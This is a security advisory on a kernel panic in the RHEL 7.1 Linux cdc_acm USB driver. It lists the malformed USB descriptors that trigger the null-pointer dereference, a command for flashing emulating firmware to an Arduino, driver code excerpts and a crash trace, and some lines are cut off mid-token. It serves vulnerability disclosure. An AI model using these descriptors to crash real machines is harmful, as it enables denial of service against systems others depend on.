Linux cdc_acm Nullpointer Dereference
Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (cdc_acm driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of Advisory: https://os-s.net/advisories/
Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device requiring the cdc_acm driver.
Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.
Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:
[*] Device-Descriptor
bLength: 0x12
bDescriptorType: 0x1
bcdUSB: 0x200
bDeviceClass: 0x3
bDeviceSubClass: 0x0
bDeviceProtocol: 0x0
bMaxPacketSize: 0x40
idVendor: 0x482
idProduct: 0x203
bcdDevice: 0x100
iManufacturer: 0x1
iProduct: 0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1
This is the configuration descriptor containing only one interface descriptor.
The cdc-acm driver assumes that there will be at least two interface-
descriptors with associated endpoint-descriptors.
Since the cdc-acm driver is expecting a second interface descriptor, the
driver tries to dereference a null-pointer.
This results in a crash of the system.
****
$ nm cdc-acm.ko.debug | grep acm_probe
0000000000001530 t acm_probe
$ addr2line -e cdc-acm.ko.debug 0x179C
/usr/src/debug/kernel-3.10.0-
acm.c:1229
****
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/class/cdc-acm.c)
...
1093 /* handle quirks deadly to normal probing*/
1094 if (quirks == NO_UNION_NORMAL) {
1095 data_interface = usb_ifnum_to_if(usb_dev, 1); /* possible null-
pointer */
1096 control_interface = usb_ifnum_to_if(usb_dev, 0);
1097 goto skip_normal_probe;
1098 }
...
1226 skip_normal_probe:
1227
1228 /*workaround for switched interfaces */
1229 if (data_interface->cur_
pointer dereference */
1230 != CDC_DATA_INTERFACE_TYPE) {
1231 if (control_interface->cur_
...
****
[*] Configuration-Descriptor
bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31
[*] Interface-Descriptor
bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x0
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x1
bmAttribut: 0x2
wMaxPacketSize: 0x4
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x82
bmAttribut: 0x1
wMaxPacketSize: 0x4
bInterval: 0xc
Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex
The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!
Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.
Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this
Security Advisory.
References:
https://bugzilla.redhat.com/
Kernel Stacktrace:
[ 32.550821] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 32.765575] usb 1-1: New USB device found, idVendor=0482, idProduct=0203
[ 32.775042] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[ 32.780788] usb 1-1: Product: ĉ
[ 32.783389] usb 1-1: Manufacturer: ĉ
[ 32.786534] usb 1-1: SerialNumber: %
[ 32.794914] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc
says 96 microframes
[ 32.850587] BUG: unable to handle kernel NULL pointer dereference at
0000000000000008
[ 32.851028] IP: [<ffffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm]
[ 32.851028] PGD 0
[ 32.851028] Oops: 0000 [#1] SMP
[ 32.851028] Modules linked in: cdc_acm(+) ip6t_rpfilter ip6t_REJECT
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[ 32.851028] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[ 32.851028] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 32.851028] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 32.851028] RIP: 0010:[<ffffffffa039479c>] [<ffffffffa039479c>]
acm_probe+0x26c/0x11d0 [cdc_acm]
[ 32.851028] RSP: 0018:ffff88000bd23b40 EFLAGS: 00010246
[ 32.851028] RAX: ffff88000c525800 RBX: 0000000000000000 RCX: ffff88000bd23fd8
[ 32.851028] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88000c524c00
[ 32.851028] RBP: ffff88000bd23bd8 R08: 0000000000000001 R09: 0000000000000000
[ 32.851028] R10: 0000000000002cad R11: ffffffff810020d8 R12: ffff88000c525800
[ 32.851028] R13: ffff88000f508692 R14: 0000000000000001 R15: ffff88000bcd0000
[ 32.851028] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[ 32.851028] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 32.851028] CR2: 0000000000000008 CR3: 000000000cb87000 CR4:
00000000000006f0
[ 32.851028] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[ 32.851028] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 32.851028] Stack:
[ 32.851028] ffff88000bd23ba8 ffff88000d6b3690 ffff88000bd23ba8 00000000436261cb
[ 32.851028] ffff88000bcd0090 0000000000000004 ffff88000bcd0090
0000000000000202
[ 32.851028] 0000001000000001 0000000000000200 0000000000000000
ffff88000bd23bd8
[ 32.851028] Call Trace:
[ 32.851028] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/
[ 32.851028] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 32.851028] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 32.851028] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 32.851028] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 32.851028] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 32.851028] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 32.851028] [<ffffffff813d3b34>] driver_register+0x64/0xf0
[ 32.851028] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 32.851028] [<ffffffffa039d000>] ? 0xffffffffa039cfff
[ 32.851028] [<ffffffffa039d0ba>] acm_init+0xba/0x1000 [cdc_acm]
[ 32.851028] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 32.851028] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 32.851028] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 32.851028] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+
[ 32.851028] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 32.851028] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 32.851028] Code: 5f 5d c3 0f 1f 40 00 48 83 7d d0 00 74 d4 44 39 6d c0 74
0d f6 05 66 4e 00 00 04 0f 85 0f 0e 00 00 48 39 5d d0 0f 84 ea 06 00 00 <48>
8b 43 08 80 78 05 0a 0f 84 fe 00 00 00 48 8b 45 d0 48 8b 40
[ 32.851028] RIP [<ffffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm]
[ 32.851028] RSP <ffff88000bd23b40>
[ 32.851028] CR2: 0000000000000008
[ 33.230701] ---[ end trace b239663354a1c556 ]---
[ 33.237071] Kernel panic - not syncing: Fatal exception
[ 33.238044] drm_kms_helper: panic occurred, switching back to text console
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